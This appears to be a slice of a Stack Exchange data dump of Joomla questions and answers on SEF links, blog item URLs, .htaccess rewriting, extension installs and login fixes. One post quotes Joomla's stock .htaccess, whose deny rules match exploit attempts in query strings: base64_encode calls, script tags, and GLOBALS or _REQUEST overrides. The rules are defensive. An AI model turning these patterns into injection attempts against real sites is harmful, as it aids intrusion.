  <row Id="16644" PostTypeId="1" CreationDate="2016-05-24T09:08:21.907" Score="1" ViewCount="445" Body="&lt;p&gt;When I am in home page, everything is OK. All images and assets are loaded since relative URL works. But when I visit an internal page, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/terms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The images' links break, since I have turned on SEF links, and as long as the links are generated in &quot;relative style&quot;, the links do not work. Since, for example in an image (generated by Language Switched Module), the src attribute is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;/images/flags/en.png&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need the above URL to be generated absolutely.&lt;/p&gt;&#xA;" OwnerUserId="8286" LastActivityDate="2016-05-24T14:12:21.460" Title="Having absolute SEF links in Joomla" Tags="|url|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16645" PostTypeId="1" CreationDate="2016-05-24T09:40:30.137" Score="0" ViewCount="268" Body="&lt;p&gt;I have a bunch of modules, plugins, components and media files etc that I want to install in one go to Joomla sites. I know about the XML file way of doing this. Which I have a version that works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would also like to be able to enable all of them and set the settings as I would need them, they are usually the same pretty much. &#xA;I just can't seem to find any good documentation that runs through the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I need to write a huge installation script to search for all of the separate install scripts for each plugin/module or is there a simpler way?&lt;/p&gt;&#xA;" OwnerUserId="8397" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T08:26:57.583" LastActivityDate="2016-10-05T08:26:57.583" Title="How do I write an install.script.php file to install multiple components, modules and plugins" Tags="|php|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16646" PostTypeId="2" ParentId="16645" CreationDate="2016-05-24T10:25:24.663" Score="1" Body="&lt;p&gt;You don't need to, just use built-in feature: package&#xA;&lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Package&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-24T10:25:24.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16648" PostTypeId="2" ParentId="16644" CreationDate="2016-05-24T13:48:22.907" Score="3" Body="&lt;p&gt;Make sure the &lt;code&gt;System - SEF&lt;/code&gt; plugin is published.  This plugin contains the following code, which should be adding the correct URL path to images before the page is rendered: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Replace src links.&#xA;$base   = JUri::base(true) . '/';&#xA;$buffer = $this-&amp;gt;app-&amp;gt;getBody();&#xA;&#xA;// Replace index.php URI by SEF URI.&#xA;if (strpos($buffer, 'href=&quot;index.php?') !== false)&#xA;{&#xA;    preg_match_all('#href=&quot;index.php\?([^&quot;]+)&quot;#m', $buffer, $matches);&#xA;    foreach ($matches[1] as $urlQueryString)&#xA;    {&#xA;        $buffer = str_replace('href=&quot;index.php?' . $urlQueryString . '&quot;', 'href=&quot;' . JRoute::_('index.php?' . $urlQueryString) . '&quot;', $buffer);&#xA;    }&#xA;    $this-&amp;gt;checkBuffer($buffer);&#xA;}&#xA;&#xA;// Check for all unknown protocals (a protocol must contain at least one alpahnumeric character followed by a &quot;:&quot;).&#xA;$protocols = '[a-zA-Z0-9\-]+:';&#xA;$attributes = array('href=', 'src=', 'poster=');&#xA;foreach ($attributes as $attribute)&#xA;{&#xA;    if (strpos($buffer, $attribute) !== false)&#xA;    {&#xA;        $regex  = '#\s+' . $attribute . '&quot;(?!/|' . $protocols . '|\#|\')([^&quot;]*)&quot;#m';&#xA;        $buffer = preg_replace($regex, ' ' . $attribute . '&quot;' . $base . '$1&quot;', $buffer);&#xA;        $this-&amp;gt;checkBuffer($buffer);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, the &lt;code&gt;true&lt;/code&gt; in the &lt;code&gt;JUri::base(true)&lt;/code&gt; means that it is the path that is being generated rather than the full URL.  You could get an absolute link by removing the &quot;true&quot;, but note that in practise you should never edit core files, so this would require a new plug-in to be done properly.  Also, the base path and absolute URL should both work  so even if this fixed the issue, the actual cause of your problem is most likely elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your example &lt;code&gt;/images/flags/en.png&lt;/code&gt; actually makes it look like this plugin is working correctly, since that &lt;code&gt;/&lt;/code&gt; at the beginning (assuming your site is in the root of your domain) means it will be loading the image from the root rather than relative to the page you are on, as it should.  In your database, the image will most likely be saved at &lt;code&gt;images/flags/en.png&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this image actually exist at &lt;a href=&quot;http://www.yourdomain.com/images/flags/en.png&quot; rel=&quot;nofollow&quot;&gt;http://www.yourdomain.com/images/flags/en.png&lt;/a&gt; ?  If not, where does the image load from when SEF is turned off?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-05-24T13:48:22.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16649" PostTypeId="2" ParentId="16644" CreationDate="2016-05-24T14:12:21.460" Score="2" Body="&lt;p&gt;If your image appears in HTML body like that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;images/image.png&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at front-end then keep in mind that URL are related to your base url, wich is added as base meta tag in your page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in Joomla sometimes it not properly generated&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-24T14:12:21.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16650" PostTypeId="1" AcceptedAnswerId="16662" CreationDate="2016-05-24T16:34:17.467" Score="0" ViewCount="791" Body="&lt;p&gt;I am doing a category blog override.  As part of that I require the blog item URL.  Not the current URL, which I can get, the read more URL of the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to create a JLayout override, and strip everything except the URL, but that hasn't worked.  I get the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cannot use object of type stdClass as array&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not much of a programmer, but I'm a bit confused as to why this won't work but it will for a normal JLayout.  All I did was remove some stuff.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-10-07T17:30:54.260" Title="How to find the URL of a blog item in blog category view" Tags="|overrides|category-blog|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16651" PostTypeId="2" ParentId="3690" CreationDate="2016-05-24T16:40:25.027" Score="0" Body="&lt;p&gt;The above works for me in the category blog view, it might be different in category list view.  Don't forget to add the php tags obviously.  You could always use &lt;code&gt;&amp;lt;?php // print_r($images); ?&amp;gt;&lt;/code&gt; to print all of the available options which might give you a clue.  Or potentially this &lt;code&gt;&amp;lt;?php // print_r($this-&amp;gt;item); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it this way. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$images         = json_decode($this-&amp;gt;item-&amp;gt;images); &#xA;$introImage   = $images-&amp;gt;image_intro;&#xA;?&amp;gt;&#xA;&#xA;...src=&quot;&amp;lt;?php echo $introImage ; ?&amp;gt;&quot;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-05-24T16:40:25.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16652" PostTypeId="2" ParentId="16590" CreationDate="2016-05-24T17:29:37.853" Score="0" Body="&lt;p&gt;SOLVED: It's only possible to register one unique Home item menu (with unique item alias at current level) for all the set of the items registered at that moment in out Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://books.google.es/books?id=tsfYKoWX1ncC&amp;amp;pg=PA82&amp;amp;lpg=PA82&amp;amp;dq=unique+name+item+menu+joomla&amp;amp;source=bl&amp;amp;ots=xBsdV52aMv&amp;amp;sig=rsVhgcwwMfQuHJ3viPcoKxKPe7I&amp;amp;hl=es&amp;amp;sa=X&amp;amp;ved=0ahUKEwipvKrSs-jMAhXDMBoKHZBxBnsQ6AEIQDAF#v=onepage&amp;amp;q=unique%20name%20item%20menu%20joomla&amp;amp;f=false&quot; rel=&quot;nofollow&quot;&gt;https://books.google.es/books?id=tsfYKoWX1ncC&amp;amp;pg=PA82&amp;amp;lpg=PA82&amp;amp;dq=unique+name+item+menu+joomla&amp;amp;source=bl&amp;amp;ots=xBsdV52aMv&amp;amp;sig=rsVhgcwwMfQuHJ3viPcoKxKPe7I&amp;amp;hl=es&amp;amp;sa=X&amp;amp;ved=0ahUKEwipvKrSs-jMAhXDMBoKHZBxBnsQ6AEIQDAF#v=onepage&amp;amp;q=unique%20name%20item%20menu%20joomla&amp;amp;f=false&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Book &quot;Using Joomla: Building Powerful and Efficient Web Sites&quot;, Menu Item Manager, page 83&lt;/p&gt;&#xA;" OwnerUserId="8402" LastActivityDate="2016-05-24T17:29:37.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16654" PostTypeId="1" CreationDate="2016-05-24T17:57:58.097" Score="0" ViewCount="1658" Body="&lt;p&gt;I have my Joomla site placed into a subfolder of the root &lt;code&gt;public_html&lt;/code&gt; folder. I have activated the url rewriting Global Option in the Joomla Admin Panel. I access to the website through the &lt;code&gt;http://web.es/joomla&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to access to this site through &lt;code&gt;http://web.es&lt;/code&gt; without &lt;code&gt;'/joomla'&lt;/code&gt;. I have been setting both the root level &lt;code&gt;.htaccess&lt;/code&gt; as the &lt;code&gt;.htaccess&lt;/code&gt; placed into the &lt;code&gt;/public_html/joomla/&lt;/code&gt; folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;root level (/public_html/) (/) .htaccess file content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^(www.)?web.es$ [NC]&#xA;RewriteCond %{REQUEST_URI} !^/joomla/&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /joomla/$1&#xA;RewriteCond %{HTTP_HOST} ^(www.)?web.es$ [NC]&#xA;RewriteCond %{REQUEST_URI} ^/joomla/&#xA;RewriteRule ^/joomla/(.*) joomla/ [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/public_html/joomla .htaccess file content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2016 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that disallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## No directory listings&#xA;IndexIgnore *&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA; RewriteBase /joomla/&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could it be reached?&lt;/p&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="126" LastEditDate="2017-01-09T17:59:25.767" LastActivityDate="2017-01-09T18:02:52.197" Title="URL rewriting for a joomla website placed into a folder into the root public_html folder" Tags="|joomla-3.5|.htaccess-configuration|server|hosting|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16655" PostTypeId="2" ParentId="7164" CreationDate="2016-05-24T18:43:21.440" Score="2" Body="&lt;p&gt;This situation can happen if K2 was installed in the past and not removed correctly or after a failed install attempt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look with your FTP client for either of the directories below as K2 checks for them to establish if you already have it installed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_k2&#xA;components/com_k2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Option 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Remove these directories and try to install again and you shouldn't have any problems. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Option 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have also seen in some cases this error display but the K2 extension continued to partially install in that case you can open the extension manager and searched for K2 then uninstalled the &lt;strong&gt;Administrator Component&lt;/strong&gt; from the list this will uninstall all the other parts of the K2 system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you should have nothing left of K2 and you will be able to do a fresh install with out errors.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2016-05-24T18:43:21.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16656" PostTypeId="2" ParentId="16654" CreationDate="2016-05-24T19:35:49.810" Score="0" Body="&lt;p&gt;If your Joomla website is in the actual root folder then there should be no /joomla/ in your URL. It sounds like you have simply put your entire website into a Joomla folder. This is not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a server backup before doing this just to be on the safe side, but I suspect you just need to move all files and folders up one level, makign the /Joomla/ folder empty.&lt;/p&gt;&#xA;" OwnerUserId="8225" LastActivityDate="2016-05-24T19:35:49.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16657" PostTypeId="2" ParentId="16650" CreationDate="2016-05-24T20:51:50.503" Score="0" Body="&lt;p&gt;I worked out how to do this.  There is probably a MUCH better way, but this is how I did it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Create my JLayout override&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First of all, I went to my Joomla! site.  I went to &lt;strong&gt;layouts/joomla/content/blog_style_default_item_title.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I resaved that file in a new location:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;templates/YOUR_TEMPLATES_NAME/html/layouts/joomla/content/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;renamed&lt;/strong&gt; it, blog_style_default_URL.php&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Edit the new JLayout override&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now, I can go into this new layout file, strip the &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; and the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; leaving just the URL.  In this instance, I know that I will always have linked titles, so I can remove the &lt;code&gt;if&lt;/code&gt; statement too.  I could probably strip everything and just leave:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo &#xA;    JRoute::_(ContentHelperRoute::getArticleRoute($displayData-&amp;gt;slug, &#xA;    $displayData-&amp;gt;catid, $displayData-&amp;gt;language)); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Create my HTML override, and call my JLayout&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now I create my &lt;strong&gt;HTML override&lt;/strong&gt; (I won't cover how to do that), in my blog override, blog_item.php, I call the layout.  &lt;code&gt;JLayoutHelper::render('joomla.content.blog_style_default_item_url', $this-&amp;gt;item);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That gives me my url, but it only provides &lt;code&gt;index.php/21-my-blog-item.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Find the Base URL and append it&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;We need the base url too.  So I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo &#xA;    $url . JLayoutHelper::render('joomla.content.blog_style_default_item_url', &#xA;    $this-&amp;gt;item); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Remove the trailing slash (if included)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now I have my url, but I have two slashes.  Doh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mywebsite.com//index.php/21-my-blog-item.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  // Get the base URL &amp;amp; trip the slash&#xA;  $url            = JURI::base();&#xA;  $url            = $url = rtrim($url, '/');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Final code&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now in my url I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&#xA;    &amp;lt;?php echo &#xA;        $url . JLayoutHelper::render('joomla.content.blog_style_default_item_url', &#xA;        $this-&amp;gt;item); &#xA;    ?&amp;gt;&quot; &#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-05-24T20:51:50.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16658" PostTypeId="2" ParentId="16654" CreationDate="2016-05-24T20:56:43.817" Score="0" Body="&lt;p&gt;I think that you need to organize your server setting some subdomains where you can locate in other websites. Then you can move your Joomla! site in the server  root. &lt;/p&gt;&#xA;" OwnerUserId="8456" LastActivityDate="2016-05-24T20:56:43.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16659" PostTypeId="2" ParentId="16654" CreationDate="2016-05-24T21:37:55.590" Score="0" Body="&lt;p&gt;it's not quite Joomla way, but if you sure that you need it to work this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to put Joomla htaccess file to public_html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and add there index.php file with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include('./joomla/index.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there can be issue with images and other files, but it can be fixed with some additional htaccess rules&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-24T21:37:55.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16660" PostTypeId="2" ParentId="16554" CreationDate="2016-05-24T21:57:25.170" Score="1" Body="&lt;p&gt;Well, I believe you've faced my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a look here - you'll find why it's happening and how to quick fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/10261&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/10261&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-24T21:57:25.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16661" PostTypeId="2" ParentId="16545" CreationDate="2016-05-24T22:02:34.640" Score="1" Body="&lt;p&gt;Initially it's not possible, because Joomla, com_users especially, checking security token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create your custom plugins I believe, but there is no possibility by default.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-24T22:02:34.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16662" PostTypeId="2" ParentId="16650" CreationDate="2016-05-24T22:45:27.750" Score="1" Body="&lt;p&gt;I found a better way of doing this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&#xA;    &amp;lt;?php echo &#xA;        JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, &#xA;                    $this-&amp;gt;item-&amp;gt;catid, $this-&amp;gt;item-&amp;gt;language)); &#xA;    ?&amp;gt;&#xA;&quot;&amp;gt;Learn More&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-05-24T22:45:27.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16664" PostTypeId="2" ParentId="15438" CreationDate="2016-05-25T07:31:39.133" Score="0" Body="&lt;p&gt;The Joomla_Authentication was disabled in the database.&#xA;Using PhpMyAdmin simply go into the database, enabled authentication.&lt;/p&gt;&#xA;" OwnerUserId="8440" LastEditorUserId="168" LastEditDate="2016-05-25T08:20:04.453" LastActivityDate="2016-05-25T08:20:04.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16666" PostTypeId="1" CreationDate="2016-05-25T07:53:03.910" Score="2" ViewCount="779" Body="&lt;p&gt;I need to add  latitude and longitude to Contact Component.&#xA;In &lt;strong&gt;administrator\components\com_contact\contact.xml&lt;/strong&gt; I added this two lines.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;latitude&quot; type=&quot;text&quot;size=&quot;30&quot;/&amp;gt;          &#xA;&amp;lt;field name=&quot;longitude&quot; type=&quot;text&quot;size=&quot;30&quot;/&amp;gt;     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;administrator\templates\isis\html\com_contact\contact&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('latitude'); ?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('longitude'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I save the form with values, the values are not saved?  &lt;/p&gt;&#xA;" OwnerUserId="8458" LastActivityDate="2017-02-20T13:13:56.940" Title="Joomla Contact Component - add custom fields" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16667" PostTypeId="2" ParentId="7635" CreationDate="2016-05-25T08:36:22.503" Score="0" Body="&lt;p&gt;&lt;strong&gt;Compress CSS = No&lt;/strong&gt; solved the problem in my case. Javascript and GZip compression can be ON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCE 2.5.16; Joomla 3.5.1; XAMPP 5.5.19&lt;/p&gt;&#xA;" OwnerUserId="8459" LastActivityDate="2016-05-25T08:36:22.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16668" PostTypeId="1" CreationDate="2016-05-25T08:57:18.557" Score="1" ViewCount="149" Body="&lt;p&gt;How or where could I refresh the links that were generated in menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have currently a problem with links, because for some reason some aditional suffix is generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current link:&#xA;www.mysite.com/en/article-categories-view/article-category/company/about-us.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea from where this comes : article-categories-view/article-category ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want that my links look like this: &#xA;www.mysite.com/en/company/about-us.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting thing is some link are generated right and some not. How could i force Joomla te recreate links once again.&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2016-11-22T05:32:46.447" Title="What is generating links in Joomla?" Tags="|joomla-3.x|zoo|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16669" PostTypeId="2" ParentId="15438" CreationDate="2016-05-25T11:53:58.113" Score="0" Body="&lt;p&gt;3 steps are available to solve back end login problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Try to reset your joomla user name and password.&#xA;2.upgrading your joomla application.&#xA;3.c Panel -&gt; php myadmin → choose the database →  find the record named authentication → joomla → press the pencil icon → you should see all preferences for this plugin, find the row called “published” and change its value from 0 to 1.&#xA;finally click the go button.&lt;/p&gt;&#xA;" OwnerUserId="8440" LastActivityDate="2016-05-25T11:53:58.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16670" PostTypeId="1" CreationDate="2016-05-25T15:16:57.790" Score="2" ViewCount="489" Body="&lt;p&gt;Is it possible to display a view of a component without iframe and plugin?&#xA;(That is to say, if possible with a few lines of PHP and maybe SQL queries?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more clear: I'd like to do it directly in the PHP-Template!&#xA;(Would be fine to do it in an article as well, as I have written a&#xA;PHP-function &lt;code&gt;showArticle(mixed $ident)&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using Joomla 3.5)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; view=&quot;example&quot; name=&quot;position-x&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    show_component('component-name', 'view-name');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8461" LastActivityDate="2016-11-21T20:07:06.380" Title="Is it possible to insert a view of a component into an article or into the template without using plugins or iframes?" Tags="|php|component|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16671" PostTypeId="2" ParentId="16670" CreationDate="2016-05-25T16:56:13.800" Score="1" Body="&lt;p&gt;Check an extension called &quot;&lt;a href=&quot;http://extensions.joomla.org/extension/components-anywhere&quot; rel=&quot;nofollow&quot;&gt;Components Anywhere&lt;/a&gt;&quot; by Regular Labs. It works by adding the following text werever you want to load your component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{component url/of/the/component}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And no, there's no out of box solution.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="1629" LastEditDate="2016-06-24T18:05:45.660" LastActivityDate="2016-06-24T18:05:45.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
